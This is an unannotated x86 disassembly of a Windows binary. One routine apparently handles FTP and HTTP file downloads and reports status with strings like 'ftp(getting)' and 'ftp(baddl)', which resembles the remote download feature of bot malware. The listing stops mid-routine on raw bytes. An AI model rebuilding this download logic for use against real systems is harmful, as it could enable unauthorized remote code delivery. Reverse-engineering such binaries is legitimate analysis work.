pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41C710 proc near ; CODE XREF: sub_401064j
var_111 = byte ptr -111h
var_110 = dword ptr -110h
var_10C = byte ptr -10Ch
var_F4 = byte ptr -0F4h
var_DC = byte ptr -0DCh
var_C4 = byte ptr -0C4h
var_AC = byte ptr -0ACh
var_94 = byte ptr -94h
var_7C = byte ptr -7Ch
var_67 = byte ptr -67h
var_52 = byte ptr -52h
var_3D = byte ptr -3Dh
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_41C710
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 108h
push ebx
push ebp
mov ebp, ecx
push esi
push edi
lea ecx, [esp+124h+var_10C]
call sub_40142E
lea ecx, [esp+124h+var_DC]
mov [esp+124h+var_4], 0
call sub_40142E
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_40142E
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_40142E
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_40142E
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_401B4A
mov esi, [esp+124h+arg_0]
mov bl, 5
lea ecx, [ebp+8Eh]
mov byte ptr [esp+124h+var_4], bl
lea edi, [esi+7Eh]
call sub_4017EE
push eax
mov ecx, edi
call sub_4012EE
lea ecx, [ebp+4]
call sub_4017EE
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_41C93C
push offset asc_444600 ; " "
lea eax, [esp+128h+var_F4]
push 1
push eax
mov ecx, esi
call sub_4016B8
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 6
push ecx
mov ecx, eax
call sub_40168B
push eax
call sub_401947
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D2A1
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FDC
push offset asc_444C64 ; ":"
lea ecx, [esp+128h+var_10C]
call sub_401AAF
mov eax, [esp+124h+var_28]
lea ecx, [esp+124h+var_10C]
push eax
call sub_401140
lea ecx, [esp+124h+var_24]
push ecx
lea ecx, [esp+128h+var_DC]
call sub_401FDC
push 1
push offset asc_444600 ; " "
lea edx, [esp+12Ch+var_F4]
push 2
push edx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 7
call sub_401FDC
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push 94h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 8
jz short loc_41C8CC
mov ecx, eax
call sub_4021E9
mov edi, eax
jmp short loc_41C8CE
; ---------------------------------------------------------------------------
loc_41C8CC: ; CODE XREF: sub_41C710+1AFj
xor edi, edi
loc_41C8CE: ; CODE XREF: sub_41C710+1BAj
lea eax, [esp+124h+var_10C]
lea ecx, [edi+11h]
push eax
mov byte ptr [esp+128h+var_4], bl
call sub_401FDC
lea ecx, [esp+124h+var_DC]
push ecx
lea ecx, [edi+26h]
call sub_401FDC
lea edx, [esp+124h+var_C4]
lea ecx, [edi+65h]
push edx
call sub_401FDC
lea eax, [esi+69h]
lea ecx, [edi+7Ah]
push eax
call sub_401FDC
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 0
mov cl, [esi+93h]
mov [edi+92h], cl
mov dl, [esi+94h]
mov ecx, edi
mov [edi+93h], dl
call sub_4013DE
loc_41C93C: ; CODE XREF: sub_41C710+C0j
lea ecx, [ebp+60h]
call sub_4017EE
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41CABB
push offset asc_444600 ; " "
lea eax, [esp+128h+var_F4]
push 1
push eax
mov ecx, esi
call sub_4016B8
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 9
push ecx
mov ecx, eax
call sub_40168B
push eax
call sub_401947
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D2A1
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FDC
push offset asc_444C64 ; ":"
lea ecx, [esp+128h+var_10C]
call sub_401AAF
mov eax, [esp+124h+var_28]
lea ecx, [esp+124h+var_10C]
push eax
call sub_401140
lea ecx, [esp+124h+var_24]
push ecx
lea ecx, [esp+128h+var_DC]
call sub_401FDC
push 1
push offset asc_444600 ; " "
lea edx, [esp+12Ch+var_F4]
push 2
push edx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 0Ah
call sub_401FDC
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push 94h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 0Bh
jz short loc_41CA4B
mov ecx, eax
call sub_4021E9
mov edi, eax
jmp short loc_41CA4D
; ---------------------------------------------------------------------------
loc_41CA4B: ; CODE XREF: sub_41C710+32Ej
xor edi, edi
loc_41CA4D: ; CODE XREF: sub_41C710+339j
lea eax, [esp+124h+var_10C]
lea ecx, [edi+11h]
push eax
mov byte ptr [esp+128h+var_4], bl
call sub_401FDC
lea ecx, [esp+124h+var_DC]
push ecx
lea ecx, [edi+26h]
call sub_401FDC
lea edx, [esp+124h+var_C4]
lea ecx, [edi+65h]
push edx
call sub_401FDC
lea eax, [esi+69h]
lea ecx, [edi+7Ah]
push eax
call sub_401FDC
mov byte ptr [edi+8Fh], 1
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 0
mov cl, [esi+93h]
mov [edi+92h], cl
mov dl, [esi+94h]
mov ecx, edi
mov [edi+93h], dl
call sub_4013DE
loc_41CABB: ; CODE XREF: sub_41C710+23Fj
lea ecx, [ebp+32h]
call sub_4017EE
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41CCF6
push offset asc_444600 ; " "
lea eax, [esp+128h+var_F4]
push 1
push eax
mov ecx, esi
call sub_4016B8
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 0Ch
push ecx
mov ecx, eax
call sub_40168B
push eax
call sub_401947
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D2A1
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FDC
push offset asc_444C64 ; ":"
lea ecx, [esp+128h+var_10C]
call sub_401AAF
mov eax, [esp+124h+var_28]
lea ecx, [esp+124h+var_10C]
push eax
call sub_401140
lea ecx, [esp+124h+var_24]
push ecx
lea ecx, [esp+128h+var_DC]
call sub_401FDC
push 1
push offset asc_444600 ; " "
lea edx, [esp+12Ch+var_F4]
push 2
push edx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 0Dh
call sub_401FDC
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push offset asc_444600 ; " "
lea eax, [esp+128h+var_F4]
push 3
push eax
mov ecx, esi
call sub_4016B8
push offset word_44955A
mov ecx, eax
mov byte ptr [esp+128h+var_4], 0Eh
call sub_401B86
test eax, eax
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
setz [esp+124h+var_111]
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jz short loc_41CC5E
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_4014BA
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_401226
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_401226
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_401226
lea ecx, [esp+124h+var_DC]
mov byte ptr [esp+124h+var_4], 0
call sub_401226
lea ecx, [esp+124h+var_10C]
mov [esp+124h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_41D312
; ---------------------------------------------------------------------------
loc_41CC5E: ; CODE XREF: sub_41C710+4D6j
push 94h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 0Fh
jz short loc_41CC86
mov ecx, eax
call sub_4021E9
mov edi, eax
jmp short loc_41CC88
; ---------------------------------------------------------------------------
loc_41CC86: ; CODE XREF: sub_41C710+569j
xor edi, edi
loc_41CC88: ; CODE XREF: sub_41C710+574j
lea ecx, [esp+124h+var_10C]
mov byte ptr [esp+124h+var_4], bl
push ecx
lea ecx, [edi+11h]
call sub_401FDC
lea edx, [esp+124h+var_DC]
lea ecx, [edi+26h]
push edx
call sub_401FDC
lea eax, [esp+124h+var_C4]
lea ecx, [edi+65h]
push eax
call sub_401FDC
lea ecx, [esi+69h]
push ecx
lea ecx, [edi+7Ah]
call sub_401FDC
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 1
mov byte ptr [edi+91h], 0
mov dl, [esi+93h]
mov [edi+92h], dl
mov al, [esi+94h]
mov ecx, edi
mov [edi+93h], al
call sub_4013DE
loc_41CCF6: ; CODE XREF: sub_41C710+3BEj
lea ecx, [ebp+0BCh]
call sub_4017EE
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41CE9B
push offset asc_444600 ; " "
lea ecx, [esp+128h+var_F4]
push 1
push ecx
mov ecx, esi
call sub_4016B8
lea edx, [esp+124h+var_7C]
mov ecx, eax
push edx
mov byte ptr [esp+128h+var_4], 10h
call sub_40168B
push eax
call sub_401947
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D2A1
lea eax, [esp+124h+var_52]
lea ecx, [esp+124h+var_AC]
push eax
call sub_401FDC
lea ecx, [esp+124h+var_3D]
push ecx
lea ecx, [esp+128h+var_94]
call sub_401FDC
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FDC
lea eax, [esp+124h+var_24]
lea ecx, [esp+124h+var_DC]
push eax
call sub_401FDC
push 1
push offset asc_444600 ; " "
lea ecx, [esp+12Ch+var_F4]
push 2
push ecx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 11h
call sub_401FDC
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push 94h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 12h
jz short loc_41CE0E
mov ecx, eax
call sub_4021E9
mov edi, eax
jmp short loc_41CE10
; ---------------------------------------------------------------------------
loc_41CE0E: ; CODE XREF: sub_41C710+6F1j
xor edi, edi
loc_41CE10: ; CODE XREF: sub_41C710+6FCj
lea edx, [esp+124h+var_10C]
lea ecx, [edi+11h]
push edx
mov byte ptr [esp+128h+var_4], bl
call sub_401FDC
lea eax, [esp+124h+var_DC]
lea ecx, [edi+26h]
push eax
call sub_401FDC
lea ecx, [esp+124h+var_C4]
push ecx
lea ecx, [edi+65h]
call sub_401FDC
lea edx, [esp+124h+var_AC]
lea ecx, [edi+3Bh]
push edx
call sub_401FDC
lea eax, [esp+124h+var_94]
lea ecx, [edi+50h]
push eax
call sub_401FDC
lea ecx, [esi+69h]
push ecx
lea ecx, [edi+7Ah]
call sub_401FDC
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 1
mov dl, [esi+93h]
mov [edi+92h], dl
mov al, [esi+94h]
mov ecx, edi
mov [edi+93h], al
call sub_4013DE
loc_41CE9B: ; CODE XREF: sub_41C710+5FCj
lea ecx, [ebp+118h]
call sub_4017EE
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41D040
push offset asc_444600 ; " "
lea ecx, [esp+128h+var_F4]
push 1
push ecx
mov ecx, esi
call sub_4016B8
lea edx, [esp+124h+var_7C]
mov ecx, eax
push edx
mov byte ptr [esp+128h+var_4], 13h
call sub_40168B
push eax
call sub_401947
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D2A1
lea eax, [esp+124h+var_52]
lea ecx, [esp+124h+var_AC]
push eax
call sub_401FDC
lea ecx, [esp+124h+var_3D]
push ecx
lea ecx, [esp+128h+var_94]
call sub_401FDC
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FDC
lea eax, [esp+124h+var_24]
lea ecx, [esp+124h+var_DC]
push eax
call sub_401FDC
push 1
push offset asc_444600 ; " "
lea ecx, [esp+12Ch+var_F4]
push 2
push ecx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 14h
call sub_401FDC
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push 94h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 15h
jz short loc_41CFB3
mov ecx, eax
call sub_4021E9
mov edi, eax
jmp short loc_41CFB5
; ---------------------------------------------------------------------------
loc_41CFB3: ; CODE XREF: sub_41C710+896j
xor edi, edi
loc_41CFB5: ; CODE XREF: sub_41C710+8A1j
lea edx, [esp+124h+var_10C]
lea ecx, [edi+11h]
push edx
mov byte ptr [esp+128h+var_4], bl
call sub_401FDC
lea eax, [esp+124h+var_DC]
lea ecx, [edi+26h]
push eax
call sub_401FDC
lea ecx, [esp+124h+var_C4]
push ecx
lea ecx, [edi+65h]
call sub_401FDC
lea edx, [esp+124h+var_AC]
lea ecx, [edi+3Bh]
push edx
call sub_401FDC
lea eax, [esp+124h+var_94]
lea ecx, [edi+50h]
push eax
call sub_401FDC
lea ecx, [esi+69h]
push ecx
lea ecx, [edi+7Ah]
call sub_401FDC
mov byte ptr [edi+8Fh], 1
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 1
mov dl, [esi+93h]
mov [edi+92h], dl
mov al, [esi+94h]
mov ecx, edi
mov [edi+93h], al
call sub_4013DE
loc_41D040: ; CODE XREF: sub_41C710+7A1j
lea ecx, [ebp+0EAh]
call sub_4017EE
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41D2A1
push offset asc_444600 ; " "
lea ecx, [esp+128h+var_F4]
push 1
push ecx
mov ecx, esi
call sub_4016B8
lea edx, [esp+124h+var_7C]
mov ecx, eax
push edx
mov byte ptr [esp+128h+var_4], 16h
call sub_40168B
push eax
call sub_401947
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D2A1
lea eax, [esp+124h+var_52]
lea ecx, [esp+124h+var_AC]
push eax
call sub_401FDC
lea ecx, [esp+124h+var_3D]
push ecx
lea ecx, [esp+128h+var_94]
call sub_401FDC
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FDC
lea eax, [esp+124h+var_24]
lea ecx, [esp+124h+var_DC]
push eax
call sub_401FDC
push 1
push offset asc_444600 ; " "
lea ecx, [esp+12Ch+var_F4]
push 2
push ecx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 17h
call sub_401FDC
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+128h+var_F4]
push 3
push edx
mov ecx, esi
call sub_4016B8
push offset word_44955A
mov ecx, eax
mov byte ptr [esp+128h+var_4], 18h
call sub_401B86
test eax, eax
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
setz [esp+124h+var_111]
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jz short loc_41D1EC
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_4014BA
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_401226
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_401226
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_401226
lea ecx, [esp+124h+var_DC]
mov byte ptr [esp+124h+var_4], 0
call sub_401226
lea ecx, [esp+124h+var_10C]
mov [esp+124h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_41D312
; ---------------------------------------------------------------------------
loc_41D1EC: ; CODE XREF: sub_41C710+A64j
push 94h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 19h
jz short loc_41D214
mov ecx, eax
call sub_4021E9
mov edi, eax
jmp short loc_41D216
; ---------------------------------------------------------------------------
loc_41D214: ; CODE XREF: sub_41C710+AF7j
xor edi, edi
loc_41D216: ; CODE XREF: sub_41C710+B02j
lea eax, [esp+124h+var_10C]
lea ecx, [edi+11h]
push eax
mov byte ptr [esp+128h+var_4], bl
call sub_401FDC
lea ecx, [esp+124h+var_DC]
push ecx
lea ecx, [edi+26h]
call sub_401FDC
lea edx, [esp+124h+var_C4]
lea ecx, [edi+65h]
push edx
call sub_401FDC
lea eax, [esp+124h+var_AC]
lea ecx, [edi+3Bh]
push eax
call sub_401FDC
lea ecx, [esp+124h+var_94]
push ecx
lea ecx, [edi+50h]
call sub_401FDC
lea edx, [esi+69h]
lea ecx, [edi+7Ah]
push edx
call sub_401FDC
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 1
mov byte ptr [edi+91h], 1
mov al, [esi+93h]
mov [edi+92h], al
mov cl, [esi+94h]
mov [edi+93h], cl
mov ecx, edi
call sub_4013DE
loc_41D2A1: ; CODE XREF: sub_41C710+116j
; sub_41C710+295j ...
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_4014BA
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_401226
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_401226
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_401226
lea ecx, [esp+124h+var_DC]
mov byte ptr [esp+124h+var_4], 0
call sub_401226
lea ecx, [esp+124h+var_10C]
mov [esp+124h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
loc_41D312: ; CODE XREF: sub_41C710+549j
; sub_41C710+AD7j
mov ecx, [esp+124h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 114h
retn 4
sub_41C710 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 310h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41D640 proc near ; CODE XREF: sub_401B4Aj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41D640
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_40142E
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_40142E
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_40142E
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_40142E
lea ecx, [esi+58h]
mov byte ptr [esp+14h+var_4], 3
call sub_40142E
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41D640 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41D6D0 proc near ; CODE XREF: sub_4014BAj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41D6D0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+58h]
mov [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+15h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41D6D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41D770 proc near ; CODE XREF: sub_4021E9j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41D770
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401E88
lea ecx, [esi+11h]
mov [esp+14h+var_4], 0
call sub_40142E
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_40142E
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_40142E
lea ecx, [esi+50h]
mov byte ptr [esp+14h+var_4], 3
call sub_40142E
lea ecx, [esi+65h]
mov byte ptr [esp+14h+var_4], 4
call sub_40142E
lea ecx, [esi+7Ah]
mov byte ptr [esp+14h+var_4], 5
call sub_40142E
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F0D0
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41D770 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41D830 proc near ; CODE XREF: sub_401C94j
var_48 = dword ptr -48h
var_40 = byte ptr -40h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_10 = byte ptr 14h
arg_14 = byte ptr 18h
arg_20 = byte ptr 24h
arg_38 = byte ptr 3Ch
arg_44 = byte ptr 48h
arg_10C = byte ptr 110h
arg_11C = byte ptr 120h
arg_12C = byte ptr 130h
arg_110C = dword ptr 1110h
arg_1110 = byte ptr 1114h
arg_112C = dword ptr 1130h
arg_1134 = dword ptr 1138h
arg_1144 = byte ptr 1148h
arg_1150 = dword ptr 1154h
; FUNCTION CHUNK AT 0041DF48 SIZE 0000001B BYTES
push 0FFFFFFFFh
mov eax, large fs:0
push offset loc_43C3A2
push eax
mov eax, 1158h
mov large fs:0, esp
call sub_437B30
push ebx
push ebp
push esi
mov esi, ecx
push edi
push offset byte_448F30
lea edi, [esi+11h]
mov ecx, edi
call sub_4012EE
test eax, eax
jz loc_41DF35
lea ebx, [esi+65h]
push offset byte_448F30
mov ecx, ebx
call sub_4012EE
test eax, eax
jz loc_41DF35
lea ecx, [esi+26h]
push offset byte_448F30
call sub_4012EE
test eax, eax
jz loc_41DF35
mov al, [esi+91h]
test al, al
jz short loc_41D8D1
push offset byte_448F30
lea ecx, [esi+3Bh]
call sub_4012EE
test eax, eax
jz short loc_41D8C4
push offset byte_448F30
lea ecx, [esi+50h]
call sub_4012EE
test eax, eax
jnz short loc_41D8D1
loc_41D8C4: ; CODE XREF: sub_41D830+81j
mov [esp+1Ch+var_8], esi
lea eax, [esp+1Ch+var_8]
jmp loc_41DF3D
; ---------------------------------------------------------------------------
loc_41D8D1: ; CODE XREF: sub_41D830+70j
; sub_41D830+92j
push offset asc_444C64 ; ":"
lea ecx, [esp+20h]
push 1
push ecx
mov ecx, edi
call sub_4016B8
push offset byte_448F30
mov ecx, eax
mov [esp+20h+arg_1150], 0
call sub_4012EE
lea ecx, [esp+1Ch]
mov ebp, eax
mov [esp+1Ch+arg_1150], 0FFFFFFFFh
call sub_401226
test ebp, ebp
jz short loc_41D95E
push offset asc_444C64 ; ":"
lea edx, [esp+20h]
push 1
push edx
mov ecx, edi
call sub_4016B8
mov ecx, eax
mov [esp+1Ch+arg_1150], 1
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+1Ch]
mov ebp, eax
mov [esp+1Ch+arg_1150], 0FFFFFFFFh
call sub_401226
test ebp, ebp
jnz short loc_41D96F
loc_41D95E: ; CODE XREF: sub_41D830+E3j
mov al, [esi+91h]
neg al
sbb eax, eax
and al, 0C5h
add eax, 50h
mov ebp, eax
loc_41D96F: ; CODE XREF: sub_41D830+12Cj
push offset asc_444C64 ; ":"
lea ecx, [esp+20h+arg_14]
push 0
push ecx
mov ecx, edi
call sub_4016B8
lea edx, [esp+1Ch+arg_14]
mov ecx, edi
push edx
mov [esp+20h+arg_1150], 2
call sub_401FDC
lea eax, [esp+1Ch+arg_44]
push 104h
push eax
mov ecx, ebx
call sub_4017EE
push eax
call near ptr 2810000h
nop
lea ecx, [esp+28h+arg_38]
push ecx
mov ecx, ebx
call sub_4015E1
mov al, [esi+91h]
test al, al
jz loc_41DB04
call sub_401E1F
; ---------------------------------------------------------------------------
lea edx, [esp+28h+var_14]
mov ecx, edi
push edx
call sub_4017EE
push eax
call sub_401A7D
; ---------------------------------------------------------------------------
add esp, 8
test eax, eax
jnz short loc_41DA1C
lea ecx, [esi+7Ah]
call sub_40168B
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push offset aFtpBadconnect ; "ftp(badconnect)"
push eax
push ecx
mov ecx, offset byte_4D8075
call sub_401118
mov [esp+28h+var_18], esi
lea edx, [esp+28h+var_18]
jmp loc_41DF14
; ---------------------------------------------------------------------------
loc_41DA1C: ; CODE XREF: sub_41D830+1B7j
mov eax, [esp+28h+var_14]
lea ecx, [esi+50h]
push eax
call sub_4017EE
push eax
lea ecx, [esi+3Bh]
call sub_4017EE
push eax
call sub_402266
add esp, 0Ch
test eax, eax
jnz short loc_41DA73
lea ecx, [esi+7Ah]
call sub_40168B
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push offset aFtpBadlogin ; "ftp(badlogin)"
push ecx
push edx
mov ecx, offset byte_4D8075
call sub_401118
lea eax, [esp+28h+var_18]
mov [esp+28h+var_18], esi
push eax
jmp loc_41DF15
; ---------------------------------------------------------------------------
loc_41DA73: ; CODE XREF: sub_41D830+20Dj
lea edi, [esi+7Ah]
mov ecx, edi
call sub_40168B
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push offset aFtpGetting ; "ftp(getting)"
push ecx
push edx
mov ecx, offset byte_4D8075
call sub_401118
mov eax, [esp+28h+var_14]
lea ecx, [esi+26h]
push eax
push 49h
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
call sub_4016B3
add esp, 10h
test eax, eax
jnz short loc_41DAF2
mov ecx, edi
call sub_40168B
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push offset aFtpBaddl ; "ftp(baddl)"
push ecx
push edx
mov ecx, offset byte_4D8075
call sub_401118
lea eax, [esp+28h+var_18]
mov [esp+28h+var_18], esi
push eax
jmp loc_41DF15
; ---------------------------------------------------------------------------
loc_41DAF2: ; CODE XREF: sub_41D830+28Dj
mov ecx, [esp+28h+var_14]
push ecx
call sub_401D66
add esp, 4
jmp loc_41DD7B
; ---------------------------------------------------------------------------
loc_41DB04: ; CODE XREF: sub_41D830+195j
lea ecx, [esp+28h+arg_20]
call sub_40142E
lea ecx, [esp+28h+var_C]
mov [esp+28h+arg_1144], 3
call sub_40142E
push ebp
mov ecx, edi
mov [esp+2Ch+arg_1144], 4
call sub_4017EE
push eax
call sub_401AA0
mov ebx, eax
add esp, 8
cmp ebx, 0FFFFFFFFh
mov [esp+28h+var_14], ebx
jnz short loc_41DB87
lea ecx, [esi+7Ah]
call sub_40168B
mov dl, [esi+93h]
push eax
mov al, [esi+92h]
push offset aHttpBadconnect ; "http(badconnect)"
push edx
push eax
mov ecx, offset byte_4D8075
call sub_401118
lea ecx, [esp+28h+var_18]
mov [esp+28h+var_18], esi
push ecx
mov ecx, offset byte_4E8E9B
call sub_40120D
; ---------------------------------------------------------------------------
db 53h
db 90h
db 0E8h, 0B7h, 0BAh
; ---------------------------------------------------------------------------
imul esi, [ecx-17h], 0BEh
loc_41DB87: ; CODE XREF: sub_41D830+310j
